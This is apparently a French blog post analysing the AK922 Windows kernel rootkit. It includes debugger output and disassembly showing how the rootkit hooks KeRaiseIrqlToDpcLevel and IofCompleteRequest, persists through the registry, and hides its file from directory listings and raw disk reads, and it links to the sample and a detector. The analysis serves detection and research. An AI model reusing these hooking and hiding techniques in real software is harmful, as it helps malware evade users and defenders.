[02] IRP_MJ_CLOSE                       fd244e20	AK922+0xe20 <-CompleteNormalIRP
[03] IRP_MJ_READ                        fd244e20	AK922+0xe20 ...
[04] IRP_MJ_WRITE                       fd244e20	AK922+0xe20
[05] IRP_MJ_QUERY_INFORMATION           fd244e20	AK922+0xe20
[06] IRP_MJ_SET_INFORMATION             fd244e20	AK922+0xe20
[07] IRP_MJ_QUERY_EA                    fd244e20	AK922+0xe20
[08] IRP_MJ_SET_EA                      fd244e20	AK922+0xe20
[09] IRP_MJ_FLUSH_BUFFERS               fd244e20	AK922+0xe20
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fd244e20	AK922+0xe20
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fd244e20	AK922+0xe20
[0c] IRP_MJ_DIRECTORY_CONTROL           fd244e20	AK922+0xe20
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fd244e20	AK922+0xe20
[0e] IRP_MJ_DEVICE_CONTROL              fd244e20	AK922+0xe20
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fd244e20	AK922+0xe20
[10] IRP_MJ_SHUTDOWN                    fd244e86	AK922+0xe86 <-ShutdownRoutine !
[11] IRP_MJ_LOCK_CONTROL                fd244e20	AK922+0xe20
[12] IRP_MJ_CLEANUP                     fd244e20	AK922+0xe20
[13] IRP_MJ_CREATE_MAILSLOT             fd244e20	AK922+0xe20
[14] IRP_MJ_QUERY_SECURITY              fd244e20	AK922+0xe20
[15] IRP_MJ_SET_SECURITY                fd244e20	AK922+0xe20
[16] IRP_MJ_POWER                       fd244e20	AK922+0xe20
[17] IRP_MJ_SYSTEM_CONTROL              fd244e20	AK922+0xe20
[18] IRP_MJ_DEVICE_CHANGE               fd244e20	AK922+0xe20
[19] IRP_MJ_QUERY_QUOTA                 fd244e20	AK922+0xe20
[1a] IRP_MJ_SET_QUOTA                   fd244e20	AK922+0xe20
[1b] IRP_MJ_PNP                         804fa88e	nt!IopInvalidDeviceRequest

Le driver possède un device associé :

kd> !devobj 80d092a8
Device object (80d092a8) is for:
AzyKit7f65Pd DriverAK922 DriverObject 80d08868
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000048
Dacl e129a2ec DevExt 00000000 DevObjExt 80d09360
ExtensionFlags (0000000000)
Device queue is not busy.

On note aussi que le nom du device, ici AzyKit7f65Pd, change à chaque chargement du driver. Enfin l’unloading du driver se passe sans problème et la VM reste stable avec la présence du rootkit.

Il est temps de sortir notre ami IDA, hop hop hop !
La fonction d’entré porte le nom de « start » (w0w). Celle ci va d’abord manipulé la string « \Device\AzyKit000000″ en pseudo-randomisant les ’0′ avec les API KeQuerySystemTime/KeQueryInterruptTime et le nombre de Tick system trouvé dans la variable KeTickCount exportée par ntoskrnl. Je n’ai pas vraiment cherché à comprendre en détail comment le calcul des caractères était effectué, ce n’est pas ca le plus intéressant.

Ensuite start récupère les adresses des fonctions IofCompleteRequest et KeRaiseIrqlToDpcLevel avec MmGetSystemRoutineAddres. Puis vérifie qu’elle s’exécute bien dans le contexte du process « system » et note son EPROCESS.

mov     esi, ds:RtlInitUnicodeString
lea     eax, [ebp+SourceString]
push    eax             ; SourceString
lea     eax, [ebp+DeviceName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aIofcompletereq ; "IofCompleteRequest"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
mov     edi, ds:MmGetSystemRoutineAddress
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pIofCompleteRequest, eax
push    offset aKeraiseirqltod ; "KeRaiseIrqlToDpcLevel"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pKeRaiseIrqlToDpcLevel, eax
call    ds:IoGetCurrentProcess
push    eax
call    IsSystemProcess?
test    eax, eax
mov     SystemEPROCESS, eax

Après, start fait appel à une fonction pour retrouver les DEVICE_OBJECT associé au driver \Driver\Disk puis les stockent dans un tableau.

push    8
pop     ecx
xor     eax, eax
mov     edi, offset Tab_DiskDevices
rep stosd
call    GetDiskDriverDevices

Par la suite, on trouve la creation du device, l’initialisation de IRP_MJ_SHUTDOWN et de DriverUnload. Plus loin, start va delete la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit\Enum avec ZwDeleteKey (si elle existe !) et ouvrir un handle sur la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour aussi la delete afin que l’utilisateur ne remarque rien dans le registre lorsque le rootik est loadé.

Si on regarde de plus près la routine qui gère les IRP_MJ_SHUTDOWN, on peut voir que celle-ci à pour rôle de crée la clé \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour que le binaire soit chargé au boot. Cette routine est appelée au moment de l’arrêt du système et permet donc au rk de survivre au boot. On observe aussi que se dernier considère qu’il se trouve dans \system32\drivers sous le nom de ak922.sys.

start crée un buffer dans la NonPagedPool avec la fonction ExAllocatePoolWithTag et recopie dedans une fonction que j’ai appelé HookedIofCompleteRequest :

HookedIofCompleteRequest proc near
pusha                   ; VOID
; FASTCALL
; IopfCompleteRequest(
;     IN PIRP Irp,
;     IN CCHAR PriorityBoost
;     )
pushf
cli
push    ecx             ; Irp
call    HandleIRPCompletion
sti
popf
popa
jmp     RealIofCompleteRequest
HookedIofCompleteRequest endp

Le call sur la fonction HandleIRPCompletion est recalculé plus loin par ces lignes :

mov     eax, HookedIofCompleteRequestPool
add     eax, 4
lea     ebx, HandleIRPCompletion
sub     ebx, eax
sub     ebx, 5
mov     byte ptr [eax], 0E8h ; recalcul un jmp du Pool
; vers HandleIRPCompletion
mov     [eax+1], ebx

Juste après start fait appel à la fonction que j’ai appelé HookKeRaiseIrqlToDpcLevel :

HookKeRaiseIrqlToDpcLevel proc near
push    ebx
push    esi
push    edi
cli
mov     eax, cr0
and     eax, 0FFFEFFFFh
mov     cr0, eax
pusha
pushf
mov     esi, pKeRaiseIrqlToDpcLevel
lea     edi, SavedKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
mov     byte68, 68h     ; 68=push 0xXXXXXXXX
lea     edi, HookedKeRaiseIrqlToDpcLevel
mov     pHookedKeRaiseIrqlToDpcLevel, edi
mov     byteC3, 0C3h    ; ret
mov     byte90, 90h
lea     esi, byte68
mov     edi, pKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
popf
popa
mov     eax, pKeRaiseIrqlToDpcLevel
add     eax, 7
mov     RealKeRaiseIrqlToDpcLevel, eax
mov     eax, cr0
or      eax, 10000h
mov     cr0, eax
sti
pop     edi
pop     esi
pop     ebx
retn
HookKeRaiseIrqlToDpcLevel endp

Cette fonction sert à hooker KeRaiseIrqlToDpcLevel de hal.dll avec un push /ret. La fonction KeRaiseIrqlToDpcLevel à pour rôle, comme son nom l’indique, d’élever l’IRQL à DISPATCH_LEVEL, elle est donc appelé ultra régulièrement (plusieurs fois par seconde au moins !).

avant
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 33c0            xor     eax,eax
806ee03e a024f0dfff      mov     al,byte ptr ds:[FFDFF024h]
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2
806ee04a c3              ret
806ee04b 90              nop

après
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 68904d24fd      push    offset AK922+0xd90 (fd244d90)
806ee041 c3              ret

kd> u fd244d90
AK922+0xd90:
fd244d90 60              pushad
fd244d91 9c              pushfd
fd244d92 e871ffffff      call    AK922+0xd08 (fd244d08) ; HookIofCompleteRequest
fd244d97 9d              popfd
fd244d98 61              popad
fd244d99 33c0            xor     eax,eax
fd244d9b 3ea024f0dfff    mov     al,byte ptr ds:[FFDFF024h] ;IRQL
fd244da1 ff25505724fd    jmp     dword ptr [AK922+0x1750 (fd245750)]

kd> u poi(fd245750)
hal!KeRaiseIrqlToDpcLevel+0x7:
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2 ;IRQl=DISPATCH_LEVEL
806ee04a c3              ret
806ee04b 90              nop

Le hook de KeRaiseIrqlToDpcLevel sert juste à faire appel à la fonction qui va hooker IofCompleteRequest. HookIofCompleteRequest fonction de 2 manières, la première fois quelle est appelé elle va sauvegardé les 6 premières instructions de IofCompleteRequest (sizeof(push XXXXXXXX) + sizeof(ret)) puis copié dans un buffer, que j’ai nommé InlineIofCompleteRequest, les instruction qui vont servir pour le hook, enfin elle remplace le code original de IofCompleteRequest par un push/ret allant sur le code de la NonPagePool crée précédemment. Pour finir HookIofCompleteRequest va positionner un booléen à 1 pour dire que le hook est installé afin que lors de son prochain appel, la fonction ne recopie que les instructions sauvegardées dans le buffer InlineIofCompleteRequest.

Ainsi chaque appel à KeRaiseIrqlToDpcLevel va rehooker IofCompleteRequest, déjà que le hook est relativement difficil à détecter, il faut en plus savoir que celui-ci est régulièrement réinstaller avant de pouvoir le désactiver. Avant q’uun anti-rk ne face ca, j’ai le tps de bouffer mes chocapicz moi.

Bref voilà ce que donne le hook sur IofCompleteRequest.

avant
kd> u nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 ff25042b5580    jmp     dword ptr [nt!pIofCompleteRequest (80552b04)]
804e3bfc 90              nop
804e3bfd 90              nop
804e3bfe 90              nop
804e3bff 90              nop
804e3c00 90              nop

après
kd> uf nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 682035cb80      push    80CB3520h
804e3bfb c3              ret

kd> u 80CB3520h ;Buffer de la NonPagedPool
80cb3520 60              pushad
80cb3521 9c              pushfd
80cb3522 fa              cli
80cb3523 51              push    ecx
80cb3524 e88f13597c      call    AK922+0x8b8 (fd2448b8) ;HandleIRPCompletion
80cb3529 fb              sti
80cb352a 9d              popfd
80cb352b 61              popad
80cb352c ff2544b71ffd    jmp     dword ptr [ak922+0x1744 (fd1fb744)] ; <=> jmp dword ptr [nt!IopfCompleteRequest]

kd> ln poi(fd23d744)
(804e3c01)   nt!IopfCompleteRequest   |  (804e3d4a)   nt!KeRemoveByKeyDeviceQueue
Exact matches:
nt!IopfCompleteRequest = 
kd> u nt!IopfCompleteRequest
nt!IopfCompleteRequest:
804e3c01 8bff            mov     edi,edi
804e3c03 55              push    ebp
804e3c04 8bec            mov     ebp,esp
804e3c06 83ec10          sub     esp,10h
804e3c09 53              push    ebx
804e3c0a 56              push    esi
804e3c0b 8bf1            mov     esi,ecx
804e3c0d 8a4e23          mov     cl,byte ptr [esi+23h]
[...]

Alors, pourquoi ce rookit hook IofCompleteRequest ? Il faut savoir que cette fonction, appelé en convention fastcall, d’ou le ‘f’, sert a dire qu’on à finit de faire mumuse avec l’IRP et qu’on peut le renvoyé à l’I/O manager. C’est grâce à cela que le rk peut hooker le système de fichier, en effet, lors d’un appel à NtQueryDirectoryFile un IRP est forgé puis envoyé à la device stack se situant au dessus du driver de système de fichier Ntfs. Si la MajorFunction de l’IRP est IRP_MJ_DIRECTORY_CONTROL alors le Ntfs.sys appel la fonction NtfsFsdDirectoryControl qui se charge de retrouver les fichiers du dossier demandé sur le disque. Comme toute bonne fonction de driver, NtfsFsdDirectoryControl va notifier avec IofCompleteRequest quand elle aura finit de manipuler l’IRP. Ainsi en hookant cette fonction, ak922 peut voir ce que contient les paramètres de l’IRP avant que celui-ci ne soit renvoyé à l’appelant.

Justement, j’ai appelé cette fonction HandleIRPCompletion. Une bonne grosse fonction assez compliquée a analyser. La première que va faire HandleIRPCompletion est de vérifier la MajorFonction de l’IRP, si celle-ci est de type IRP_MJ_DIRECTORY_CONTROL et que la MinorFunction est IRP_MN_QUERY_DIRECTORY alors HandleIRPCompletion regarde l’InformationClass demandé, en général le système demande une InformationClass de type FileBothDirectoryInformation qui renvoie une liste de structure FILE_BOTH_DIR_INFORMATION contenant la liste des fichiers.

typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG  NextEntryOffset;
ULONG  FileIndex;
LARGE_INTEGER  CreationTime;
LARGE_INTEGER  LastAccessTime;
LARGE_INTEGER  LastWriteTime;
LARGE_INTEGER  ChangeTime;
LARGE_INTEGER  EndOfFile;
LARGE_INTEGER  AllocationSize;
ULONG  FileAttributes;
ULONG  FileNameLength;
ULONG  EaSize;
CCHAR  ShortNameLength;
WCHAR  ShortName[12];
WCHAR  FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

Ici le rootkit ne vérifie que les InformationClass FileBothDirectoryInformation et FileDirectoryInformation (noobed!). Puis il scan la liste des structure pour y unlinker celle qui contient le fichier ak922.sys. C’est un peu dommage car il faudrait qu’il gère aussi FileFullDirectoryInformation et FileNamesInformation, je ne sais pas si l’auteur l’a fait exprès mais en utlisant ces 2 dernières InformationClass il est possible de retrouver facilement le fichier. Je me suis codé vite fait un detecteur que je fournis dans le .rar.

Si la MajorFunction de l’IRP est de type IRP_MJ_READ et que celui-ci est envoyé sur l’un des devices du driver disk.sys alors là on prend cher.

kd> !drvobj driverdisk 3
Driver object (84b189e8) is for:

DriverDisk
Driver Extension List: (id , addr)
(f75033be 84b178e0)
Device Object list:
8479ac68  847d2ab8  84abbc68  84abcab8

DriverEntry:   f74f38ab	disk!GsDriverEntry
DriverStartIo: 00000000
DriverUnload:  f72fa5c0	sptd

Dispatch routines:
[00] IRP_MJ_CREATE                      f7502c30	CLASSPNP!ClassCreateClose
[01] IRP_MJ_CREATE_NAMED_PIPE           804f4456	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f7502c30	CLASSPNP!ClassCreateClose
[03] IRP_MJ_READ                        f74fcd9b	CLASSPNP!ClassReadWrite
[04] IRP_MJ_WRITE                       f74fcd9b	CLASSPNP!ClassReadWrite
[05] IRP_MJ_QUERY_INFORMATION           804f4456	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             804f4456	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804f4456	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f4456	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               f74fd366	CLASSPNP!ClassShutdownFlush
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804f4456	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f4456	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804f4456	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804f4456	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f74fd44d	CLASSPNP!ClassDeviceControlDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     f7500fc3	CLASSPNP!ClassInternalIoControl
[10] IRP_MJ_SHUTDOWN                    f74fd366	CLASSPNP!ClassShutdownFlush
[11] IRP_MJ_LOCK_CONTROL                804f4456	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     804f4456	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804f4456	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804f4456	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804f4456	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f74feef3	CLASSPNP!ClassDispatchPower
[17] IRP_MJ_SYSTEM_CONTROL              f7503a24	CLASSPNP!ClassSystemControl
[18] IRP_MJ_DEVICE_CHANGE               804f4456	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f4456	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f4456	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f7502d15	CLASSPNP!ClassDispatchPnp

kd> !devobj 84abcab8
Device object (84abcab8) is for:
DR0 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00000050
Vpb 84ba5060 Dacl e1470394 DevExt 84abcb70 DevObjExt 84abcfd0 Dope 84afbba8
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84abd920 DriverPartMgr
AttachedTo (Lower) 84b1cd98 Driveratapi
Device queue is not busy.

kd> !devobj 847d2ab8
Device object (847d2ab8) is for:
DR2 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00002050
Vpb 847c48a8 Dacl e1470394 DevExt 847d2b70 DevObjExt 847d2fd0 Dope 847f7888
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84738e08 DriverPartMgr
AttachedTo (Lower) 847d3990 Driverusbstor
Device queue is not busy.

Ak922 note tout les devices du driver disk commencant par DR, dans l’exemple au dessus j’ai DR0 et DR2 sur ma b0x. Le rootkit vérifie donc si l’IRP est envoyé sur un de ces devices, si oui il check que l’IRQL est bien à DISPATCH_LEVEL et queue un WorkItem avec ExQueueWorkItem. Cela permet au code de WorkItemRoutine d’être exécuté dans un system thread lorsque l’IRQL sera redescendu à PASSIVE_LEVEL. La WorkItemRoutine utilise une fonction que j’ai appelé OwnNtfs pour modifier le contenu du buffer demandé. Comme on tape direct sur le driver disk.sys, le rootkit controle si dans les structures NTFS du buffer, il n’existe pas une string « ak922″.

Après un BP, j’ai pu voir que la fonction ExQueueWorkItem était appelée dans le contexte suivant :

kd> g
Breakpoint 1 hit
ak922+0xc68:
fd1fec68 ff15c8f31ffd    call    dword ptr [ak922+0x13c8 (fd1ff3c8)] ; ExQueueWorkItem
kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
80550478 80d8ea59 ff9d4008 00000207 80e440f8 ak922+0xc68
805504ac fcceaf54 80e44040 ff9d4008 00000001 0x80d8ea59 ; IofCompleteRequest
805504d4 804e3d38 00000000 80dd9bb8 80dd9d50 CLASSPNP!TransferPktComplete+0x180 (FPO: [Non-Fpo])
80550504 fcbf365e 80e404e8 80e3f0f8 00000000 nt!IopfCompleteRequest+0xa2 (FPO: [Non-Fpo])
80550530 fcbf3b94 80dd9bb8 80e404e8 805505ab atapi!IdeProcessCompletedRequest+0x664 (FPO: [Non-Fpo])
805505ac 804dbbd4 80e3f0b4 80e3f040 00000000 atapi!IdePortCompletionDpc+0x204 (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])

Il existe aussi dans HandleIRPCompletion un code qui vérifie que l’IOCTL de l’IRP dans le code ou la MajorFunction est de type IRP_MJ_DEVICE_CONTROL. L’IOCTL vérifié est 0x4D014 et correspond à IOCTL_SCSI_PASS_THROUGH_DIRECT qui est utilisé par la fonction SpSendPassThrough du driver scsiport.sys (non loadé sur ma b0x)

Je n’ai pas réussi à comprendre entièrement le fonctionnement de la fonction HandleIRPCompletion. Mais je peux dire que l’auteur n’avait pas oublié de gérer correctement les InformationClass FileFullDirectoryInformation et FileNamesInformation je pense qu’il aurait été vraiment très dur de le détecter.

En tout cas, RkUnhooker, Darkspy (les meilleurs anti-rk que je connaisse) et même Winhex ne le détectent pas !

Mon detecteur, fonctionne un peu comme celui de Rutkowska, Flister, en utilisant l’InformationClass FileNamesInformati avec l’API NtQueryDirectoryFile.

Bref je vous fournis dans le .rar le binaire, le .idb, la source et le binaire du détecteur.

http://ivanlef0u.fr/repo/ak922.rar

ref:

http://translate.google.com/translate?u=http%3A%2F%2Fblog.sina.com.cn%2Fs%2Fblog_4df3a09101000awi.html&langpair=zh%7Cen&hl=fr&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools
http://www.rootkit.com/board.php?thread=11014&did=edge0&disp=11014
http://www.google.fr/search?q=AK922.sys&ie=utf-8&oe=utf-8

18 comments septembre 2nd, 2007


Calendar

septembre 2007
L Ma Me J V S D
« août   oct »
 12
3456789
10111213141516
17181920212223
24252627282930

Posts by Month

Posts by Category